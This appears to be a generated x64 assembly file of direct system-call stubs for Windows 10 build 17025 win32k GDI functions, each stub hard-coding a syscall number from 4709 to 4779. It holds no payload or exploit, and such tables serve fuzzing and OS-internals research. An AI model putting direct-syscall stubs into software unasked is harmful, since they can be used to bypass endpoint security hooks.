; ULONG64 __stdcall NtGdiEngCreateBitmap( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCreateBitmap PROC STDCALL
mov r10 , rcx
mov eax , 4709
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCreateBitmap ENDP
; ULONG64 __stdcall NtGdiEngCreateClip( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCreateClip PROC STDCALL
mov r10 , rcx
mov eax , 4710
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCreateClip ENDP
; ULONG64 __stdcall NtGdiEngCreateDeviceBitmap( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCreateDeviceBitmap PROC STDCALL
mov r10 , rcx
mov eax , 4711
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCreateDeviceBitmap ENDP
; ULONG64 __stdcall NtGdiEngCreateDeviceSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCreateDeviceSurface PROC STDCALL
mov r10 , rcx
mov eax , 4712
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCreateDeviceSurface ENDP
; ULONG64 __stdcall NtGdiEngCreatePalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCreatePalette PROC STDCALL
mov r10 , rcx
mov eax , 4713
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCreatePalette ENDP
; ULONG64 __stdcall NtGdiEngDeleteClip( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngDeleteClip PROC STDCALL
mov r10 , rcx
mov eax , 4714
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngDeleteClip ENDP
; ULONG64 __stdcall NtGdiEngDeletePalette( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngDeletePalette PROC STDCALL
mov r10 , rcx
mov eax , 4715
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngDeletePalette ENDP
; ULONG64 __stdcall NtGdiEngDeletePath( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngDeletePath PROC STDCALL
mov r10 , rcx
mov eax , 4716
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngDeletePath ENDP
; ULONG64 __stdcall NtGdiEngDeleteSurface( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngDeleteSurface PROC STDCALL
mov r10 , rcx
mov eax , 4717
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngDeleteSurface ENDP
; ULONG64 __stdcall NtGdiEngEraseSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngEraseSurface PROC STDCALL
mov r10 , rcx
mov eax , 4718
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngEraseSurface ENDP
; ULONG64 __stdcall NtGdiEngFillPath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngFillPath PROC STDCALL
mov r10 , rcx
mov eax , 4719
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngFillPath ENDP
; ULONG64 __stdcall NtGdiEngGradientFill( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngGradientFill PROC STDCALL
mov r10 , rcx
mov eax , 4720
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngGradientFill ENDP
; ULONG64 __stdcall NtGdiEngLineTo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngLineTo PROC STDCALL
mov r10 , rcx
mov eax , 4721
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngLineTo ENDP
; ULONG64 __stdcall NtGdiEngLockSurface( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngLockSurface PROC STDCALL
mov r10 , rcx
mov eax , 4722
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngLockSurface ENDP
; ULONG64 __stdcall NtGdiEngMarkBandingSurface( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngMarkBandingSurface PROC STDCALL
mov r10 , rcx
mov eax , 4723
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngMarkBandingSurface ENDP
; ULONG64 __stdcall NtGdiEngPaint( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngPaint PROC STDCALL
mov r10 , rcx
mov eax , 4724
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngPaint ENDP
; ULONG64 __stdcall NtGdiEngPlgBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngPlgBlt PROC STDCALL
mov r10 , rcx
mov eax , 4725
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngPlgBlt ENDP
; ULONG64 __stdcall NtGdiEngStretchBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngStretchBlt PROC STDCALL
mov r10 , rcx
mov eax , 4726
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngStretchBlt ENDP
; ULONG64 __stdcall NtGdiEngStretchBltROP( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngStretchBltROP PROC STDCALL
mov r10 , rcx
mov eax , 4727
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngStretchBltROP ENDP
; ULONG64 __stdcall NtGdiEngStrokeAndFillPath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngStrokeAndFillPath PROC STDCALL
mov r10 , rcx
mov eax , 4728
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngStrokeAndFillPath ENDP
; ULONG64 __stdcall NtGdiEngStrokePath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngStrokePath PROC STDCALL
mov r10 , rcx
mov eax , 4729
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngStrokePath ENDP
; ULONG64 __stdcall NtGdiEngTextOut( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngTextOut PROC STDCALL
mov r10 , rcx
mov eax , 4730
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngTextOut ENDP
; ULONG64 __stdcall NtGdiEngTransparentBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngTransparentBlt PROC STDCALL
mov r10 , rcx
mov eax , 4731
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngTransparentBlt ENDP
; ULONG64 __stdcall NtGdiEngUnlockSurface( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngUnlockSurface PROC STDCALL
mov r10 , rcx
mov eax , 4732
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngUnlockSurface ENDP
; ULONG64 __stdcall NtGdiEnsureDpiDepDefaultGuiFontForPlateau( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEnsureDpiDepDefaultGuiFontForPlateau PROC STDCALL
mov r10 , rcx
mov eax , 4733
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEnsureDpiDepDefaultGuiFontForPlateau ENDP
; ULONG64 __stdcall NtGdiEnumFonts( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEnumFonts PROC STDCALL
mov r10 , rcx
mov eax , 4734
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEnumFonts ENDP
; ULONG64 __stdcall NtGdiEnumObjects( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEnumObjects PROC STDCALL
mov r10 , rcx
mov eax , 4735
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEnumObjects ENDP
; ULONG64 __stdcall NtGdiEudcLoadUnloadLink( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEudcLoadUnloadLink PROC STDCALL
mov r10 , rcx
mov eax , 4736
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEudcLoadUnloadLink ENDP
; ULONG64 __stdcall NtGdiExtFloodFill( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtFloodFill PROC STDCALL
mov r10 , rcx
mov eax , 4737
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtFloodFill ENDP
; ULONG64 __stdcall NtGdiFONTOBJ_cGetAllGlyphHandles( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_cGetAllGlyphHandles PROC STDCALL
mov r10 , rcx
mov eax , 4738
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_cGetAllGlyphHandles ENDP
; ULONG64 __stdcall NtGdiFONTOBJ_cGetGlyphs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_cGetGlyphs PROC STDCALL
mov r10 , rcx
mov eax , 4739
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_cGetGlyphs ENDP
; ULONG64 __stdcall NtGdiFONTOBJ_pQueryGlyphAttrs( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_pQueryGlyphAttrs PROC STDCALL
mov r10 , rcx
mov eax , 4740
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_pQueryGlyphAttrs ENDP
; ULONG64 __stdcall NtGdiFONTOBJ_pfdg( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_pfdg PROC STDCALL
mov r10 , rcx
mov eax , 4741
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_pfdg ENDP
; ULONG64 __stdcall NtGdiFONTOBJ_pifi( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_pifi PROC STDCALL
mov r10 , rcx
mov eax , 4742
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_pifi ENDP
; ULONG64 __stdcall NtGdiFONTOBJ_pvTrueTypeFontFile( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_pvTrueTypeFontFile PROC STDCALL
mov r10 , rcx
mov eax , 4743
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_pvTrueTypeFontFile ENDP
; ULONG64 __stdcall NtGdiFONTOBJ_pxoGetXform( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_pxoGetXform PROC STDCALL
mov r10 , rcx
mov eax , 4744
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_pxoGetXform ENDP
; ULONG64 __stdcall NtGdiFONTOBJ_vGetInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_vGetInfo PROC STDCALL
mov r10 , rcx
mov eax , 4745
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFONTOBJ_vGetInfo ENDP
; ULONG64 __stdcall NtGdiFlattenPath( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFlattenPath PROC STDCALL
mov r10 , rcx
mov eax , 4746
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFlattenPath ENDP
; ULONG64 __stdcall NtGdiFontIsLinked( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFontIsLinked PROC STDCALL
mov r10 , rcx
mov eax , 4747
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFontIsLinked ENDP
; ULONG64 __stdcall NtGdiForceUFIMapping( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiForceUFIMapping PROC STDCALL
mov r10 , rcx
mov eax , 4748
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiForceUFIMapping ENDP
; ULONG64 __stdcall NtGdiFrameRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFrameRgn PROC STDCALL
mov r10 , rcx
mov eax , 4749
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFrameRgn ENDP
; ULONG64 __stdcall NtGdiFullscreenControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFullscreenControl PROC STDCALL
mov r10 , rcx
mov eax , 4750
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFullscreenControl ENDP
; ULONG64 __stdcall NtGdiGetAppliedDeviceGammaRamp( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetAppliedDeviceGammaRamp PROC STDCALL
mov r10 , rcx
mov eax , 4751
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetAppliedDeviceGammaRamp ENDP
; ULONG64 __stdcall NtGdiGetBitmapDpiScaleValue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetBitmapDpiScaleValue PROC STDCALL
mov r10 , rcx
mov eax , 4752
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetBitmapDpiScaleValue ENDP
; ULONG64 __stdcall NtGdiGetBoundsRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetBoundsRect PROC STDCALL
mov r10 , rcx
mov eax , 4753
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetBoundsRect ENDP
; ULONG64 __stdcall NtGdiGetCOPPCompatibleOPMInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCOPPCompatibleOPMInformation PROC STDCALL
mov r10 , rcx
mov eax , 4754
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCOPPCompatibleOPMInformation ENDP
; ULONG64 __stdcall NtGdiGetCertificate( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCertificate PROC STDCALL
mov r10 , rcx
mov eax , 4755
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCertificate ENDP
; ULONG64 __stdcall NtGdiGetCertificateByHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCertificateByHandle PROC STDCALL
mov r10 , rcx
mov eax , 4756
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCertificateByHandle ENDP
; ULONG64 __stdcall NtGdiGetCertificateSize( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCertificateSize PROC STDCALL
mov r10 , rcx
mov eax , 4757
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCertificateSize ENDP
; ULONG64 __stdcall NtGdiGetCertificateSizeByHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCertificateSizeByHandle PROC STDCALL
mov r10 , rcx
mov eax , 4758
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCertificateSizeByHandle ENDP
; ULONG64 __stdcall NtGdiGetCharABCWidthsW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCharABCWidthsW PROC STDCALL
mov r10 , rcx
mov eax , 4759
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCharABCWidthsW ENDP
; ULONG64 __stdcall NtGdiGetCharacterPlacementW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCharacterPlacementW PROC STDCALL
mov r10 , rcx
mov eax , 4760
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCharacterPlacementW ENDP
; ULONG64 __stdcall NtGdiGetColorAdjustment( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetColorAdjustment PROC STDCALL
mov r10 , rcx
mov eax , 4761
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetColorAdjustment ENDP
; ULONG64 __stdcall NtGdiGetColorSpaceforBitmap( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetColorSpaceforBitmap PROC STDCALL
mov r10 , rcx
mov eax , 4762
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetColorSpaceforBitmap ENDP
; ULONG64 __stdcall NtGdiGetCurrentDpiInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCurrentDpiInfo PROC STDCALL
mov r10 , rcx
mov eax , 4763
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCurrentDpiInfo ENDP
; ULONG64 __stdcall NtGdiGetDCDpiScaleValue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDCDpiScaleValue PROC STDCALL
mov r10 , rcx
mov eax , 4764
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDCDpiScaleValue ENDP
; ULONG64 __stdcall NtGdiGetDeviceCaps( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDeviceCaps PROC STDCALL
mov r10 , rcx
mov eax , 4765
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDeviceCaps ENDP
; ULONG64 __stdcall NtGdiGetDeviceCapsAll( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDeviceCapsAll PROC STDCALL
mov r10 , rcx
mov eax , 4766
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDeviceCapsAll ENDP
; ULONG64 __stdcall NtGdiGetDeviceGammaRamp( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDeviceGammaRamp PROC STDCALL
mov r10 , rcx
mov eax , 4767
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDeviceGammaRamp ENDP
; ULONG64 __stdcall NtGdiGetDeviceWidth( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDeviceWidth PROC STDCALL
mov r10 , rcx
mov eax , 4768
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDeviceWidth ENDP
; ULONG64 __stdcall NtGdiGetDhpdev( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDhpdev PROC STDCALL
mov r10 , rcx
mov eax , 4769
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDhpdev ENDP
; ULONG64 __stdcall NtGdiGetETM( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetETM PROC STDCALL
mov r10 , rcx
mov eax , 4770
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetETM ENDP
; ULONG64 __stdcall NtGdiGetEmbUFI( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetEmbUFI PROC STDCALL
mov r10 , rcx
mov eax , 4771
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetEmbUFI ENDP
; ULONG64 __stdcall NtGdiGetEmbedFonts( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetEmbedFonts PROC STDCALL
mov r10 , rcx
mov eax , 4772
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetEmbedFonts ENDP
; ULONG64 __stdcall NtGdiGetEntry( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetEntry PROC STDCALL
mov r10 , rcx
mov eax , 4773
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetEntry ENDP
; ULONG64 __stdcall NtGdiGetEudcTimeStampEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetEudcTimeStampEx PROC STDCALL
mov r10 , rcx
mov eax , 4774
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetEudcTimeStampEx ENDP
; ULONG64 __stdcall NtGdiGetFontFileData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetFontFileData PROC STDCALL
mov r10 , rcx
mov eax , 4775
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetFontFileData ENDP
; ULONG64 __stdcall NtGdiGetFontFileInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetFontFileInfo PROC STDCALL
mov r10 , rcx
mov eax , 4776
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetFontFileInfo ENDP
; ULONG64 __stdcall NtGdiGetFontResourceInfoInternalW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetFontResourceInfoInternalW PROC STDCALL
mov r10 , rcx
mov eax , 4777
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetFontResourceInfoInternalW ENDP
; ULONG64 __stdcall NtGdiGetFontUnicodeRanges( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetFontUnicodeRanges PROC STDCALL
mov r10 , rcx
mov eax , 4778
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetFontUnicodeRanges ENDP
; ULONG64 __stdcall NtGdiGetGammaRampCapability( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetGammaRampCapability PROC STDCALL
mov r10 , rcx
mov eax , 4779
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetGammaRampCapability ENDP
